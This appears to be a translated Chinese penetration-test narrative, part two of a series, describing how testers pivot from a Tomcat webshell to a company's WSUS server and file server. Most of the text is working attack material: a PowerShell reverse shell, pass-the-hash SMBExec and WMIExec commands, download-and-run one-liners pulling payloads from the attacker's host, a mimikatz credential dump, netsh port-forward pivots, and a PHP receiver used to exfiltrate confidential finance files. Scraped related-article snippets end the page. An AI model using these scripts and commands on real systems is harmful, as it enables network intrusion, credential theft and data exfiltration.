公司智能手机安全(二)——瞄准WSUS服务器

公司智能手机安全(二)——瞄准WSUS服务器。经过扫描发现,有两台主机能够满足我们的需求,给我们发送一个稳定的远程shell。他们分别是WSUS(Windows更新服务器)和Antivirus(反病毒相关服务器),因为这些服务必须有Internet访问权限才能更新数据库,让我们从第一个开始。

有一个有趣的问题,本地管理员的NTLM哈希是否足以访问此服务器呢?也许我们的答案是肯定的。

在一家公司,所有服务器都使用相同的本地管理员密码其实很常见。这常常与第一次创建服务器有关系(非最佳实践),第一次被创建的服务器成为了模板,于是随后部署的实例都保留了原有的管理员密码。

经过一系列大型测试,现在事情变得更复杂了,我们有以下计划:

将我们之前的Powershell脚本(r1.ps1)放到公共web服务器上

function Invoke-r1

{

$client = New-Object Net.Sockets.TCPClient(‘’,80)

$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

$sendback = (iex $data 2>&1 | Out-String )

$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

$stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

}

$client.Close()

}

用Tomcat的webshell上传SMBExec(smb.ps1),这将允许我们传递哈希进行身份验证

我们稍微修改了原始的SMBExec脚本,添加了一些行用于自动化漏洞利用。一旦被加载,它就会自动调用必要的参数连接到WSUS服务器,在我们的服务器下载反向shell到内存,然后执行

Invoke-SMBExec \

-Target \

-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX \

-Command \

“powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http:///r1.ps1`’); Invoke-r1`””

这就是我们的一体化解决方案:自动执行的SMBExec,自动下载并执行的Powershell脚本

在webshell里,我们执行了smb.ps1:

cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\smb.ps1

Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62

这次攻击成功了,我们收到了来自SRVWSUS计算机的SYSTEM权限的Shell:

connect to from 50341

PS C:\Windows\system32> whoami

nt authority\system

最终还是拿到了一个连接更稳定的shell,拜拜啦Android~

但现在我们的任务也与以前不同了,我们至今也没能找到窃取机密数据的方法。

我们同样注意到了,即使以本地管理员身份启动了smb.ps1,SMBExec也会以SYSTEM权限产生进程(记得之前的whoami结果吗)。或许使用wmiexec.ps1——一款强大的windows WMI接口的Powershell封装工具——会更适合下面的任务,因为它会使用传递的凭据运行远程进程。

我们再次运行mimikatz,依旧没有什么问题(我们是SYSTEM权限),这次SRVWSUS直接传递给我们了反向shell,而无需再上传文件。记住,"mymy"是我们对mimikatz混淆后的名字。

PS C:\Windows\system32>iex (New-Object Net.WebClient).DownloadString(‘http:///m.ps1’); Invoke-mymy

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 749566 (00000000:000b6ffe)

Session : Interactive from 2

User Name : administrator

Domain : SUPERCOMPANY

Logon Server : SRVDC1

Logon Time : 2/17/2017 4:23:28 PM

SID : S-1-5-21-3534665177-2148510708-2241433719-500

msv :

[00000003] Primary

* Username : Administrator

* Domain : SUPERCOMPANY

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

[00010000] CredentialKeys

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SUPERCOMPANY

* Password : (null)

kerberos :

* Username : administrator

* Domain : SUPERCOMPANY.LOCAL

* Password : (null)

ssp : KO

credman :

Wow!域管理员在服务器登录过,我们拿到了域管理员的哈希,收获不小。

游戏结束了吗?并没有!客户是叫我们去窃取机密信息,可我们还没拿到任何机密文件。可是我们现在知道应该在哪搜索了,文件服务器SRVFILE1

定位文件服务器(SRVFILE1)

还有什么比文件服务器更适合搜索文件的地方吗?有了域管理员的密码哈希,我们已经成功了一半了。有了之前的一体化SMBExec,我们只需要把本地管理员哈希替换为域管理员哈希。

从SRVWSUS的反向shell开始,我们试着用之前相同的步骤攻击服务器,但这次失败了。经过若干次尝试之后,我们得出结论,那台服务器被配置为禁止访问互联网。

新服务器需要新的计划了,最新的计划是用我们已有的SRVWSUS shell转到SRVFILE1上

步骤如下:

使用netsh将发送到SRVWSUS 8888端口的所有流量都转到攻击者443端口

#SRVFILE1 SRVWSUS:8888 ATTACKER:443

netsh interface portproxy add v4tov4 listenport = 8888 listenaddress = 0.0.0.0 connectport = 443 connectaddress =

在SRVWSUS上传第二个反向shell脚本r2.ps1,在我们的web服务器上:

(New-Object Net.WebClient).DownloadFile(‘http:///r2.ps1’, ‘c:\tmp\r2.ps1’)

r2.ps1与之前的脚本不同,因为它是连接到SRVWSUS而不是我们的公共IP

$client = New-Object System.Net.Sockets.TCPClient(‘’,8888)

* 在SRVWSUS上下载一个简单的PowerShell HTTPServer:

# http.ps1

start-job { # will execute in background

$p=”c:\tmp\”

$H=New-Object Net.HttpListener

$H.Prefixes.Add(“http://+:8001/”)

$H.Start()

While ($H.IsListening) {

$HC=$H.GetContext()

$HR=$HC.Response

$HR.Headers.Add(“Content-Type”,”text/plain”)

$file=Join-Path $p ($HC.Request).RawUrl

$text=[IO.File]::ReadAllText($file)

$text=[Text.Encoding]::UTF8.GetBytes($text)

$HR.ContentLength64 = $text.Length

$HR.OutputStream.Write($text,0,$text.Length)

$HR.Close()

}

$H.Stop()

}

启动HTTP监听并且放入后台,SRVFILE1将从这里下载我们的反向shell

PS C:\tmp> .\http.ps1

我们用WMIExec代替了SMBExec,从我们的网络服务器下载了SRVWSUS的wmiexec.ps1文件:

PS C:\tmp> (New-Object Net.WebClient).DownloadFile(‘http:///wmiexec.ps1‘, ‘c:\tmp\wmiexec.ps1’)

The file contained the following Invoke-WMIExec function at the end:

Invoke-WMIExec \

-Target -Domain SUPERCOMPANY \

-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX \

-Command \

“powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http://:8001/r2.ps1`’); Invoke-r2`””

运行wmiexec.ps1:

PS C:\tmp> .\wmiexec.ps1

Command executed with process ID 4756 on 192.168.178.195

在这个故事的末尾,我们非常“神奇”的从SRVFILE1得到了域管理员权限的shell

connect to [our-webserver] from [company-ip] 49190

PS C:\Windows\system32> whoami

supercompany\administrator

这个图像应该有助于了解这个流程:

在我们内网漫游的最后阶段,我们只需要找到几个机密文件就好了。快速查看过硬盘之后,我们发现了一些东西:

Directory: F:\Finance\Reserved

Mode LastWriteTime Length Name

—- ————- —— —-

-a— 9/24/2016 2:20 AM 164468 Supersecret.docx

-a— 5/29/2016 6:41 PM 12288 Balance.xlsx

这就是我们需要的文件!只需要把他们拿到手,就能够证明漏洞了。

高兴了五分钟之后,我们反过来问自己:该怎样拿到文件呢?首先试了试我们公网服务器的FTP,但运气不佳,对方公司的防火墙屏蔽了服务。所以我们决定通过HTTP上传。

现在该是介绍我们钟爱的PHP语言的时候了,没错,我们大爱PHP~

我们在公网web服务器上用了一个简单的上传脚本

// index.php

$pic = @$_FILES[‘pic’][‘name’];

$pic_loc = @$_FILES[‘pic’][‘tmp_name’];

echo (@move_uploaded_file($pic_loc,$pic)) ? “DONE” : “ERROR”; ?>

接下来需要的就是一个带有文件上传功能的HTTP客户端了。Google一番,发现了一个极佳的Powershell脚本,于是上传到了SRVWSUS,命名为upload.ps1

要传送文件,就必须建立一个连接,在SRVWSUS上添加一条新的端口转发规则,这次在8889端口:

# SRVFILE1 SRVWSUS:8889 ATTACKER:80

interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=

设置好之后,就在SRVFILE1下载和执行了HTTP上传脚本。请注意,文件从SRVWSUS的8889端口下载,该端口映射到了我们服务器上PHP运行的80端口。我们的443端口映射的是SRVWSUS的8888端口,反向shell从那里接收命令。

PS C:\tmp\>(New-Object Net.WebClient).DownloadFile(‘http://:8889/up.ps1′,’c:\tmp\upload.ps1’)

PS C:\tmp\>. .\upload.ps1

PS C:\tmp> invoke-upload -infile f:\finance\reserved\Supersecret.docx -uri http://:8889/

content:System.Net.Http.StreamContent

DONE

PS C:\tmp> invoke-upload -infile f:\finance\reserved\balance.xlsx -uri http://:8889/

content:System.Net.Http.StreamContent

DONE

成功将机密文件转窃取到了我们的web服务器,任务完成!

这次我们没有发现什么太大的文件,如果有的话,可以用zip压缩他们,powershell命令如下:

$src= “f:\finance\”

$dst= “c:\tmp\files.zip”

[Reflection.Assembly]::LoadWithPartialName(“System.IO.Compression.FileSystem”)

[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,[System.IO.Compression.CompressionLevel]::Optimal,$true)

时间: 2024-10-09 19:07:19

公司智能手机安全(二)——瞄准WSUS服务器的相关文章

公司智能手机安全(一)——从APK到Golden Ticket:初步探测

公司智能手机安全(一)--从APK到Golden Ticket:初步探测,从一台Android智能手机,获取域管理员权限,甚至更多- 本文介绍了在企业网络中使用个人智能手机的潜在危险,在现实案例发生之后,这些案例被作为了典型.事实证明,欺骗一名员工安装恶意应用程序.绕过网络保护.访问企业网络.提权并获取保密信息并不困难. 此外,事实证明了在不被发现的情况下绕过所有的防护机制(包括反病毒软件)是可能的.攻击者可以通过使用一些系统自带的工具和能够公开访问到的脚本来实现绕过,而不需要太过于依赖外部工具

ftp服务器-公司内网电脑搭建FTP服务器,实现外网访问方法

问题描述 公司内网电脑搭建FTP服务器,实现外网访问方法 公司内网电脑搭建FTP服务器,实现外网访问方法,最近自己在研究怎么回家能访问到公司FTP服务器文件的问题 解决方案 1.这需要公司的服务器电脑使用的是公网上的固定Ip地址.如果不是你就要通过花生壳将你的公司动态Ip地址绑定.再设置访问端口. 2.通现成的ftp软件建立ftp服务器.或自己编写ftp服务器程序. 3.远程(在家)通过Ip地址访问了. 当然ftp的设置比较复杂,请网上搜一下,参考即可. 解决方案二: 先把内网服务器的IP 映射

公司的阿里云oss图片服务器,其他人都可以访问,而我的电脑访问不了

问题描述 公司的阿里云oss图片服务器,其他人都可以访问,而我的电脑访问不了 公司的阿里云oss图片服务器,其他人都可以访问,而我的电脑访问不了 解决方案 unknownhost,这个主机名正确吗 解决方案二: 麻烦了 是公司网的问题

公司智能手机安全(三)—— 瞄准域控制器与寻找Golden Ticket

公司智能手机安全(三)-- 瞄准域控制器与寻找Golden Ticket.在离开内部网络前,我们决定取得域控制器的哈希,特别是Kerberos账户(krbtgt),想要创建一个Golden Ticket*. Golden Ticket是指伪造的TGT(Ticket Granting Ticket),同理Silver Ticket是伪造的TGS(Ticket Granting Server) Golden Ticket攻击能够让我们创建离线的Kerberos TGT来进行未授权访问,并且伪造任何域

WSUS服务器客户端配置的具体操作步骤

  WSUS服务器客户端配置的具体操作步骤如下. 步骤1:win7执行[开始]I[运行]命令,在弹出的对话框中输入gpedit.msc.单击[确定]按钮,打开[组策略编辑器]窗口,如图1所示. 图1 [组策略编辑器]窗口 步骤2:依次展开[计算机配置]丨[管理模板]丨[Windows组件]丨[Windows Update] 结点,如图2所示. 图2 Windows Update 结点 步骤3:双击[配置自动更新]结点,在弹出的对话框中在[配置自动更新]选项区中选中[己启用]单选按钮,[配置自动更

越来越多的国内影视公司将剧本题材瞄准网络文学

随着网络小说一部接一部的火爆荧屏,越来越多的国内影视公司将剧本题材瞄准网络文学,竞相购买热门网络小说的影视版权.和传统小说相比,为何当下网络小说更受欢迎?在采访中,很多观众也道出了个中缘由.从看网络小说再到看电视剧版<甄嬛传>的忠实甄嬛粉丝刘小姐表示,"很多传统小说有着自己的特点和弊端,比如既然是小说,剧情还非得追求与历史相符,弄得有点不伦不类.过分追求文字技巧,甚至阅读起来都不符合现代人的语感.而网络小说则不同,它不太体现历史元素,其重点就是讲述我们身边的事,非常现实,而且作者都是

如何在Hyper-V虚拟机上安装WSUS服务器技巧_Hyper-V

由于许多企业继续减少使用物理服务器,一个经常提及的问题随之而来:对Windows Server更新服务(WSUS)服务器进行虚拟化处理是个好想法吗?简单的回答:是的.本文介绍了如何在Hyper-V虚拟机中运行WSUS. WSUS可以在虚拟机中运行吗? 一言以蔽之,可以运行.如果你打算在Hyper-V上运行WSUS虚拟机,通常不强制要求你在Windows Server 2008 R2操作系统上运行WSUS.为了稳妥起见,你需要部署WSUS 3 SP2.按常规,SP2之前的WSUS不能与Window

美国高通公司携手贵州 研发数据中心服务器芯片

贵州贵安新区管委会.美国高通公司和贵州华芯通半导体技术有限公司三方联合举办成果通报会,向国内外40余家媒体通报美国高通公司与贵州的合作项目进程.据悉,今年1月17日,美国高通公司与贵州省在北京签署战略合作协议,双方合资成立贵州华芯通半导体技术有限公司,主营服务器芯片业务,该企业系贵州首个国产化服务器芯片设计研发企业. 在随后的四个月时间里,华芯通公司重点推进管理团队组建.技术团队组建.制度建设等工作,在北京设立了研发中心,在技术开发方面也开展了前期的准备工作与技术授权.目前,基于高通技术的服务器

2015年,手游公司持续下沉二三线城市乃大势所趋

2015年,手游公司将持续下沉二三线城市是大势所趋.东西部抢先一步走在了移动互联网发展的前面,中部城市也不甘落后紧跟脚步.先有手游媒体着迷网落户安徽芜湖,如今又有江西南昌的泰豪游戏高调招聘手游精英,为拓展发行业务加速人才储备.手游行业公司貌似不再依照传统惯例紧盯北上广深等一线城市,而是越来越多将眼光瞄准了二三线城市.那么,这对于广大的移动互联网从业者来说意味着什么? 根据<2014年手游行业基本概况报告>显示,有近6成手游玩家来自三线城市,手游公司追随玩家脚步而来也是顺应大势所趋.同时,对于企